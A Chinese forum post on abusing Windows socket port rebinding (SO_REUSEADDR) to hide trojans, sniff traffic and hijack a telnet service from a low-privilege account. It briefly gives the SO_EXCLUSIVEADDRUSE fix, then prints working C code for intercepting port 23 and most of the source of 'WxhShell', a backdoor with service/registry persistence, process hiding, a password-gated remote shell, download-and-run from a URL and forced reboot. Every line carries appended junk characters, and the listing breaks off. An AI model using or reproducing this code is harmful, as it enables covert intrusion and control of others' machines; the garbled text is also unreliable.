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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 9P WY52!  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); cWLqU  
|E3X  
  saddr.sin_family = AF_INET; ynwG\V  
rs;r $  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY);  P_Hv%g  
ig!7BxM)<h  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); W?Ww2Lo%Y  
>:1P/U  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 RU#F8O  
1/Zh^foG  
  这意味着什么?意味着可以进行如下的攻击: ,wAz^cK|  
$}o b,i^W  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 tTanW2C  
'LSz f/w  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ytAWOt}`  
\6!W05[ Q  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 A1i!F?X  
DAO]uh{6  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ]! *[Q\  
z-T{~{q  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 $8~e}8dt|  
v]VWDT `  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 1iBP,:>*  
jZ*WN|FK?  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 s!B/WsK  
~AB*]Us  
  #include \jU |(DE  
  #include O XP\R  
  #include g(4bBa9y  
  #include    n/4i|-^  
  DWORD WINAPI ClientThread(LPVOID lpParam);   mY7>(M{  
  int main() /)3Lnn{W  
  { [1yq{n=  
  WORD wVersionRequested; 0JjUAxNq  
  DWORD ret; v6=-g$FG  
  WSADATA wsaData; R[B?C;+(O  
  BOOL val; EnVuD 9  
  SOCKADDR_IN saddr; PkuTg";  
  SOCKADDR_IN scaddr; (5Nv8H8|  
  int err; +0l`5."d  
  SOCKET s; 2?q(cpsN  
  SOCKET sc; "sUyHt-&  
  int caddsize; h*i9m o  
  HANDLE mt;  C})'\1O%  
  DWORD tid;   Zyf P; &  
  wVersionRequested = MAKEWORD( 2, 2 ); {w6/[ -^  
  err = WSAStartup( wVersionRequested, &wsaData ); `Ityi}  
  if ( err != 0 ) { .ic:`1  
  printf("error!WSAStartup failed!\n"); ]/X(V|t  
  return -1; p *w$:L  
  } eD?3"!c!  
  saddr.sin_family = AF_INET; @OpNHQat9  
   /0MDISQy9  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 *# {z3{+  
R:aa+MX(1  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); V^s0fWa  
  saddr.sin_port = htons(23); gb|Q%LS9R  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) =n(3o$r(  
  { TI|/u$SJ<Z  
  printf("error!socket failed!\n"); PJ4(}a  
  return -1; @~td`Z?1 y  
  } , E )|y4  
  val = TRUE; 0MF}^"R  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 c]k*}W3T  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) _ QOZ sEe  
  { wf.T3  
  printf("error!setsockopt failed!\n"); J9~i%hzr  
  return -1; 2/ rt@{V(  
  } yY).mxRN  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; kS5_&#  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 5&Ts7& .  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Hh;:`;}  
w*9br SK  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) *jq7X  
  { k;W@LfP  
  ret=GetLastError(); qy1F* kY  
  printf("error!bind failed!\n"); |KI UgI  
  return -1; E>LkJSy=  
  } VSX@e|Nj  
  listen(s,2); R7 jmv n  
  while(1) ZzGahtx)Y  
  { {=2DqkTD  
  caddsize = sizeof(scaddr); E_z;s3AXQ  
  //接受连接请求 38ES($  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); UB`ToE|Ii  
  if(sc!=INVALID_SOCKET) EI~"L$?  
  { \2-@'^i  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); AFvgbn8Qh  
  if(mt==NULL) O4 3YY2  
  { lT&wOm3  
  printf("Thread Creat Failed!\n"); Psura$:  
  break; A5:qKaAq  
  } 1F'1>Bu~  
  } @!N-RQ&A  
  CloseHandle(mt); n%^ LPD  
  } Di_2Plo)4  
  closesocket(s); sZWaV4  
  WSACleanup(); d6{Gt"  
  return 0;  YpAg  
  }   d,vNem-Z*L  
  DWORD WINAPI ClientThread(LPVOID lpParam) 54;J8XT7  
  { jxa D&4Fs8  
  SOCKET ss = (SOCKET)lpParam; *_Z#O,  
  SOCKET sc; zJDSbsc$%  
  unsigned char buf[4096]; 'TC/vnM  
  SOCKADDR_IN saddr; |s#'dS;  
  long num; 9//+Bh  
  DWORD val; HjqB^|z  
  DWORD ret; EFuvp8^y  
  //如果是隐藏端口应用的话,可以在此处加一些判断 r)9Dy,  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Sd/?&  
  saddr.sin_family = AF_INET; /yz=Cjoz  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); _Y=2/*y^  
  saddr.sin_port = htons(23); 5erc D  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) q+ KzIde|%  
  { :WI.LKlo~  
  printf("error!socket failed!\n"); [3l*F  
  return -1; bPD`+: A_  
  } ^_t%kmL`  
  val = 100; -7/s]9o'  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) N"/-0(9[  
  { & gJV{V5Ay  
  ret = GetLastError(); M<SdPC(+  
  return -1; Qu5UVjbE,  
  } '}g*!jL  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) y-p70.'{U  
  { 9!9Z~ /*m  
  ret = GetLastError(); QB:i/9  
  return -1; 8Y0"Cejq  
  } FJ*i\Q/D  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) >e2<!#er|  
  { xvzr:p P  
  printf("error!socket connect failed!\n"); B QcE9~H  
  closesocket(sc); 6{[pou&  
  closesocket(ss); !3mA 0-!+  
  return -1; c`lJu_  
  } YY?a>j."a  
  while(1) oLWJm  
  { !zPG? q]3  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ve ~05mg  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ] 2DH;  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ,f}UGd[a  
  num = recv(ss,buf,4096,0); +(xeT+J  
  if(num>0) {k4CEt;  
  send(sc,buf,num,0); w;Q;[:y  
  else if(num==0) TI9UXa:V\  
  break; h/x0]@M&  
  num = recv(sc,buf,4096,0); th6+2&B6  
  if(num>0) DC1'Kyk  
  send(ss,buf,num,0); 79\Jx iSB  
  else if(num==0) LPG`^SA  
  break; Xh J,"=E+  
  } Rwr 2gMt7  
  closesocket(ss); }SIGPVM  
  closesocket(sc); b{fQ|QD{^E  
  return 0 ; \#68;)+=  
  } o!:8nXw  
K1V#cB WO  
e]=!"nJ+  
========================================================== 5Z4- Z  
#fj/~[Ajv  
下边附上一个代码,,WXhSHELL 3E f1bhi  
{lth+{&L#  
========================================================== /7!""{1\\  
H+ h07\? %  
#include "stdafx.h" O]f/r,4@  
\A `hj~  
#include <stdio.h> \5Vde%!$Z  
#include <string.h> +UJuB  
#include <windows.h> .1 %T W)  
#include <winsock2.h> yL;M"L  
#include <winsvc.h> $+}+zZX5  
#include <urlmon.h> [ofqGwpDG  
GE|+fYVM-$  
#pragma comment (lib, "Ws2_32.lib") fw oQ' &  
#pragma comment (lib, "urlmon.lib") _Lw OOZj  
rbT)=-(  
#define MAX_USER   100 // 最大客户端连接数 d--y  
#define BUF_SOCK   200 // sock buffer qo)?8kx>l  
#define KEY_BUFF   255 // 输入 buffer G8W#<1LE  
iR$<$P5  
#define REBOOT     0   // 重启 V|)>{Xdn  
#define SHUTDOWN   1   // 关机 ?S?2 0  
`>DP,D)w(  
#define DEF_PORT   5000 // 监听端口 :|o<SZ  
,Ma.V\T[  
#define REG_LEN     16   // 注册表键长度 qH"Gm  
#define SVC_LEN     80   // NT服务名长度 k`".  
uS&| "*pR  
// 从dll定义API ]a2W e`  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); %LXM+<N8  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); y]%w)4PS  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); E&yD8=vw  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); va f&X]p  
PNW \*;j  
// wxhshell配置信息 -st7_3  
struct WSCFG { zF4[}*  
  int ws_port;         // 监听端口 *`( <'Z  
  char ws_passstr[REG_LEN]; // 口令 2!N8rHRt  
  int ws_autoins;       // 安装标记, 1=yes 0=no bYe;b><G  
  char ws_regname[REG_LEN]; // 注册表键名 a:~@CUD >I  
  char ws_svcname[REG_LEN]; // 服务名 p8wyEHB  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 P#v*TD'  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 i?Ss:v^  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 <lr*ZSNY  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ]0D}T'wM  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" %7Kooq(i  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 wV?,Z!\Z  
pIW I  
}; VC5_v62&.  
=TR,~8Z|  
// default Wxhshell configuration F#xa`*AP  
struct WSCFG wscfg={DEF_PORT, _<ut)G^9  
    "xuhuanlingzhe", 0"pVT%b  
    1, QbhW!9(,  
    "Wxhshell", Z,N$A7SBE  
    "Wxhshell", ctQbp~-  
            "WxhShell Service", gPS&^EdxA  
    "Wrsky Windows CmdShell Service", mq/zTm  
    "Please Input Your Password: ", iq?#rb P#I  
  1, Ct$82J  
  "http://www.wrsky.com/wxhshell.exe", #s5 pz8v  
  "Wxhshell.exe" `,wu}F85  
    }; F{k+7Ftc  
\(I6_a_{  
// 消息定义模块 jc_\'Gr+[  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; E04l|   
char *msg_ws_prompt="\n\r? for help\n\r#>"; ba@ax3  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 3L-^<'~-k;  
char *msg_ws_ext="\n\rExit."; 'f?.R&sCA  
char *msg_ws_end="\n\rQuit."; g1DmV,W-Q  
char *msg_ws_boot="\n\rReboot..."; >=ot8%.!,B  
char *msg_ws_poff="\n\rShutdown...";  \d.F82  
char *msg_ws_down="\n\rSave to "; 9-*NW0  
(k-YI{D3  
char *msg_ws_err="\n\rErr!"; #i QX 6WF  
char *msg_ws_ok="\n\rOK!"; bC@k>yC-  
Ex@`O+  
char ExeFile[MAX_PATH]; (J:dK=O@Z  
int nUser = 0; _3Q8n|  
HANDLE handles[MAX_USER]; Iyk6=&?j  
int OsIsNt; {}e^eJ  
}|8*sk#[  
SERVICE_STATUS       serviceStatus; "i'bTVs  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; c $;\i  
{sN"( H4$  
// 函数声明 1r`i]1<H  
int Install(void); 5?u[XAE  
int Uninstall(void); sB}]yw  
int DownloadFile(char *sURL, SOCKET wsh); lhn8^hOJ/  
int Boot(int flag); 34C``i  
void HideProc(void); 2@@l{Y0f6  
int GetOsVer(void); O?K./So&  
int Wxhshell(SOCKET wsl); gqiXmMm:9  
void TalkWithClient(void *cs); ~P1_BD(  
int CmdShell(SOCKET sock); 3VCqp13  
int StartFromService(void); Y'm=etE  
int StartWxhshell(LPSTR lpCmdLine); HR{s&ho  
dBEIMn@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); :F|\Ij0T  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 2PC5^Ni/9@  
G\H q/4  
// 数据结构和表定义  .Oo/y0E^  
SERVICE_TABLE_ENTRY DispatchTable[] = 9{J?HFw*;  
{ Y^lQX~I2{  
{wscfg.ws_svcname, NTServiceMain}, X BI;Lg  
{NULL, NULL} 2ChWe}f  
}; X\2_; zwf  
~@M7&%]  
// 自我安装 ]mkJw3  
int Install(void) G\rj?%  
{ N=fz/CD)I  
  char svExeFile[MAX_PATH]; XeUprN  
  HKEY key; w!,QxrOV~  
  strcpy(svExeFile,ExeFile); 3ut_Bt\  
pDDG_4E>  
// 如果是win9x系统,修改注册表设为自启动 _EKF-&Q6  
if(!OsIsNt) { `7B14:\A  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 26nBBS,;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Z`xyb>$  
  RegCloseKey(key); Baq ~}B<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { HYIRcY  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); wXCyj+XB*  
  RegCloseKey(key); RjtC:H&XZ  
  return 0; @ R'E?|  
    } 6Kht:WE  
  } d=n h  
} m^0A?jBrR  
else { (4ZLpsbJ  
'Kd7l}e!  
// 如果是NT以上系统,安装为系统服务 32KR--mn%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 3;D?|E]1  
if (schSCManager!=0) E!YmcpCl  
{ bw;iz ,Z  
  SC_HANDLE schService = CreateService G-8n  
  ( 2mOfsn d@  
  schSCManager, 2VMX:&3 5J  
  wscfg.ws_svcname, =F[lg?g  
  wscfg.ws_svcdisp, E 8^sy*f  
  SERVICE_ALL_ACCESS, 0~.)GG%R>D  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , e5qvyUJM  
  SERVICE_AUTO_START, wLSjXpP8  
  SERVICE_ERROR_NORMAL, VS%@)sI|Z  
  svExeFile, B{4"$Mi  
  NULL, JOgmF_(>Z  
  NULL, r'PE5xqF  
  NULL, _X?y ,#  
  NULL, 1J+3a-0  
  NULL A ' )(SGSc  
  ); /J8o_EV  
  if (schService!=0) X%35XC.n  
  { ~q5-9{ma  
  CloseServiceHandle(schService); }kv)IJ  
  CloseServiceHandle(schSCManager); .yG8B:7N2  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); d)9PEtI  
  strcat(svExeFile,wscfg.ws_svcname); r5Wkc$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { zo87^y5?G  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); (T4k~T`3  
  RegCloseKey(key); P)4x   
  return 0; =cknE=  
    } *SXSF95  
  } QM7[O]@  
  CloseServiceHandle(schSCManager); 7kOE/>P?  
} \(wn@/yP'  
} C!`>cUhE{  
EOofa6f&l  
return 1; r$Yh)rpt:  
} % d4+Ctrp-  
;c nnqT6  
// 自我卸载 Ae3,W  
int Uninstall(void) '"'D.,[W2  
{ eR(\s_`  
  HKEY key; z^ YeMe  
<e$5~Spc  
if(!OsIsNt) { Dg1kbO=2  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { zK[ 7:<  
  RegDeleteValue(key,wscfg.ws_regname); PjiNu.>2(  
  RegCloseKey(key); $(Z]TS$M&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Ks9FnDm8  
  RegDeleteValue(key,wscfg.ws_regname); Qo]vpp^[#  
  RegCloseKey(key); cH+h=E=  
  return 0; tCd{G c  
  } "u .)X3  
} ppPG+[cz  
} ocb%&m ;i  
else { |) x'  
ey'pm\Z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); }wa}hIqx  
if (schSCManager!=0) r\4*\  
{ -lJx%9>  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); !N@S^JD6  
  if (schService!=0) U)O?| VN^o  
  { qAS70XjOF  
  if(DeleteService(schService)!=0) {  '7S!6kd?  
  CloseServiceHandle(schService); `@VM<av  
  CloseServiceHandle(schSCManager); aYv'H  
  return 0; Nb|3?c_  
  } +0oyt?  
  CloseServiceHandle(schService); /Bg6z m  
  } ,yB?~  
  CloseServiceHandle(schSCManager); 4?P%M"\Iv  
} _WRR 3  
} kxr6sO~  
CS^ oiV%{s  
return 1; t  z +  
} XwKZv0ub  
*_2O*{V  
// 从指定url下载文件 }"g21-T^  
int DownloadFile(char *sURL, SOCKET wsh) 4U LJtM3  
{ Z=e[ !c  
  HRESULT hr; ;*<{*6;=?  
char seps[]= "/"; O]$*EiO\  
char *token; hB2s$QS  
char *file; +7U  A%q  
char myURL[MAX_PATH]; !R] CmK  
char myFILE[MAX_PATH]; 6,V.j>z  
Hm.&f2|(  
strcpy(myURL,sURL); s&_IWala  
  token=strtok(myURL,seps); pR@GvweA  
  while(token!=NULL) &dwI8@&  
  { f2R+5`$  
    file=token; Q)%8NVs  
  token=strtok(NULL,seps); [#,X$O>  
  } w>9H"Q[  
A^= Hu,"e  
GetCurrentDirectory(MAX_PATH,myFILE); \ eyQo>(  
strcat(myFILE, "\\"); @y;tk$e  
strcat(myFILE, file); w ufKb.4`  
  send(wsh,myFILE,strlen(myFILE),0); *'`3]!A  
send(wsh,"...",3,0); a\[fC=]r:  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); [6RV'7`Abj  
  if(hr==S_OK) V5hlG =V  
return 0; KOAz-h@6   
else S7#^u`'Q_^  
return 1; 6%tiB?  
gqHH Hh  
} <5!RAdaj+  
S#0|#Z5qD  
// 系统电源模块 <=y5 8O]x  
int Boot(int flag) *"wD& E?  
{ P7BJ?x  
  HANDLE hToken; z*k 3q`=>  
  TOKEN_PRIVILEGES tkp; |V~(mS747:  
Lct+cKKU  
  if(OsIsNt) { 31o7R &v  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); CgTQGJ}-  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 3/SqXu  
    tkp.PrivilegeCount = 1; 7PQj7&m  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ~i_ R%z:y  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 0or6_ y6  
if(flag==REBOOT) { >`,#%MH#  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ReG O9}  
  return 0; \<MTY:  
} gQ+_&'C  
else { BUy}Rn  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) .n|3A3:  
  return 0; :+Je989\[C  
} px(1Ppb9  
  } )*L?PT  
  else { ;Wrd=)Ka  
if(flag==REBOOT) { EpoQV^ Ey  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) AdN= y8T  
  return 0; jQwg)E+o;  
} }-]s#^'w  
else { cF<DUr)Ve  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 7QL) }b.H  
  return 0; /7HIL?r  
}  S~5 =1b  
} 6V_5BpXt  
'w$we6f  
return 1; (S93 %ii  
} nOoh2jUM  
>a] s  
// win9x进程隐藏模块 58gt*yVu  
void HideProc(void) +z/73s0~  
{ <h>fip3o  
i~PZvxt  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); { dx yBDK  
  if ( hKernel != NULL ) WRyv >Y  
  { I3=Sc^zz&V  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); JU`'?b  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); (YH{%8 Z0  
    FreeLibrary(hKernel); I)4|?tb ?  
  } Qz90 mb  
!~DkA7i55  
return; HOI`F3#XI  
} w9?wy#YI  
3mn-dKe((  
// 获取操作系统版本 "+"dALX{3K  
int GetOsVer(void) ;@\J scNJ|  
{ *m Tc4&*  
  OSVERSIONINFO winfo; n6+M qN  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ^rb7`s#G  
  GetVersionEx(&winfo); y,eoTmaI  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ~x#-#nuh"  
  return 1; k5<0M'  
  else E*]L]vR  
  return 0; \DdVMn  
} *VAi!3Rx;  
6m<9^NT  
// 客户端句柄模块 j>=".^J  
int Wxhshell(SOCKET wsl) }{PtQc6RL!  
{ jh!IOtf  
  SOCKET wsh; g5]DA.&(  
  struct sockaddr_in client; @y%qQe/g  
  DWORD myID; U}5KAi 9Z  
g)Uh   
  while(nUser<MAX_USER) Yhdt8[ 2  
{ N^>g= Ub  
  int nSize=sizeof(client); dz DssAHy  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); r+obm)Qtp  
  if(wsh==INVALID_SOCKET) return 1; KWkT 9[H  
L^Af3]]2  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); S!c@6&XJm?  
if(handles[nUser]==0) ZuON@(  
  closesocket(wsh); z#!Cg*K(  
else lKSI5d  
  nUser++; ucO]&'hu:  
  } $t?e=#G  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ]5L3[A4Vu  
uSbg*OA  
  return 0; 27gm_ *  
} "R]K!GUU  
d":{a6D*d  
// 关闭 socket Z/;SR""wa  
void CloseIt(SOCKET wsh) r-uIFhV^  
{ b s*Z{R  
closesocket(wsh); 3s Nq3I  
nUser--; :@L5=2Z+  
ExitThread(0); W6>uLMUa  
} suSIz 7:  
vUNE! j  
// 客户端请求句柄 8hY)r~!b'  
void TalkWithClient(void *cs) EtG)2)  
{ djp(s$:{4  
h)8_sC  
  SOCKET wsh=(SOCKET)cs; 4]R3*F  
  char pwd[SVC_LEN]; &!Vp'l\9  
  char cmd[KEY_BUFF]; `w }"0+V  
char chr[1]; 19DW~kvYk  
int i,j; N"{o3QmA  
NI)nf;C  
  while (nUser < MAX_USER) { ZvJx01F{  
WBdb[N6\  
if(wscfg.ws_passstr) { }#M|3h;q9+  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); gS 3&,^  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); R(fR1  
  //ZeroMemory(pwd,KEY_BUFF); G_@H:4$3  
      i=0; #wfR$Cd  
  while(i<SVC_LEN) { 3i1>EjML  
.#}R$}e+  
  // 设置超时 7y&`H  
  fd_set FdRead; o^_am>h  
  struct timeval TimeOut; i|e-N?l  
  FD_ZERO(&FdRead); Yy]He nw;  
  FD_SET(wsh,&FdRead); (H7q[UG|  
  TimeOut.tv_sec=8; 2 Qy&V/E ?  
  TimeOut.tv_usec=0; |{(ynZ]R  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); KAGq\7  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); MG|NH0k  
3$TpI5A  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &%<G2x$  
  pwd=chr[0]; uWSG+  
  if(chr[0]==0xd || chr[0]==0xa) { fsu'W]f  
  pwd=0; Zx6BK=4G  
  break; |dO1w.x/  
  } 8oK30?  
  i++; hk(^?Fp  
    } LF8B5<[O  
TSeAC[%pL  
  // 如果是非法用户,关闭 socket wp$=lU{B  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); f-PDgs   
} }0I! n@  
|dvcDx0|K  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); oPi)#|jcb  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ),86Y:^4  
0W@C!mD~  
while(1) { {"s8X(#_sC  
i^yQ; 2 -  
  ZeroMemory(cmd,KEY_BUFF); 2HUoT\M  
l`d=sOB^  
      // 自动支持客户端 telnet标准   l ^{]pD  
  j=0; >%{h_5  
  while(j<KEY_BUFF) { A\:M}D-(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); F$.M2*9  
  cmd[j]=chr[0]; 7l?-2I'c  
  if(chr[0]==0xa || chr[0]==0xd) { b8O:@j2  
  cmd[j]=0; r3|vu"Uei  
  break; $OmtN"  
  } fZg Z  
  j++; 7:]I@Gc'  
    } >LLFe~9`g  
n {M!l\1  
  // 下载文件 ezFyd'P  
  if(strstr(cmd,"http://")) { ~s+\Y/@A  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); #;+GNF}0mG  
  if(DownloadFile(cmd,wsh)) GZ9XG">  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); g8^$,  
  else {2-w<t  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +3VY0J  
  } m%akx@{WL  
  else { {whR/rX`  
S);bcowf_  
    switch(cmd[0]) { n{|~x":9V  
  w<>B4m\  
  // 帮助 ktnsq&qNL  
  case '?': { 21W>}I"0?  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); po!0j+r3  
    break; OF!(BJ L  
  } b16\2%Ea1  
  // 安装 (|<}q-wO  
  case 'i': { (;\JCeGA  
    if(Install()) (FP- K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); uPt({H  
    else pFhznH{0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o#CNr5/  
    break; |G } qY5_  
    } SK#; /fav6  
  // 卸载 ?$%#y u#.  
  case 'r': { Dhv ^}m@  
    if(Uninstall()) B/AS|i] sM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l'm!e'7_  
    else g=Rl4F]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;X*I,g.+H  
    break; s +"?j  
    } CN+[|Mz*p  
  // 显示 wxhshell 所在路径 Bz!SZpW(M  
  case 'p': { ZuH@qq\  
    char svExeFile[MAX_PATH]; _ 5n Lrn,~  
    strcpy(svExeFile,"\n\r"); rUmaKh?v|X  
      strcat(svExeFile,ExeFile); imC>T!-7  
        send(wsh,svExeFile,strlen(svExeFile),0); ~x4]^XS  
    break; #-W a3P  
    } 9bwG3jn4?  
  // 重启 y<|8OTT  
  case 'b': { ,%6!8vX  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); zsOOx% +  
    if(Boot(REBOOT)) V q4g#PcG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ku$:.  
    else { *sz:c3{_  
    closesocket(wsh); > >%m,F[  
    ExitThread(0); J;wDvt]]1  
    } k}18 ~cWM  
    break; ^Q,-4\ec  
    } <aSjK#  
  // 关机 #|-i*2@oR  
  case 'd': { &Zy%Zz  
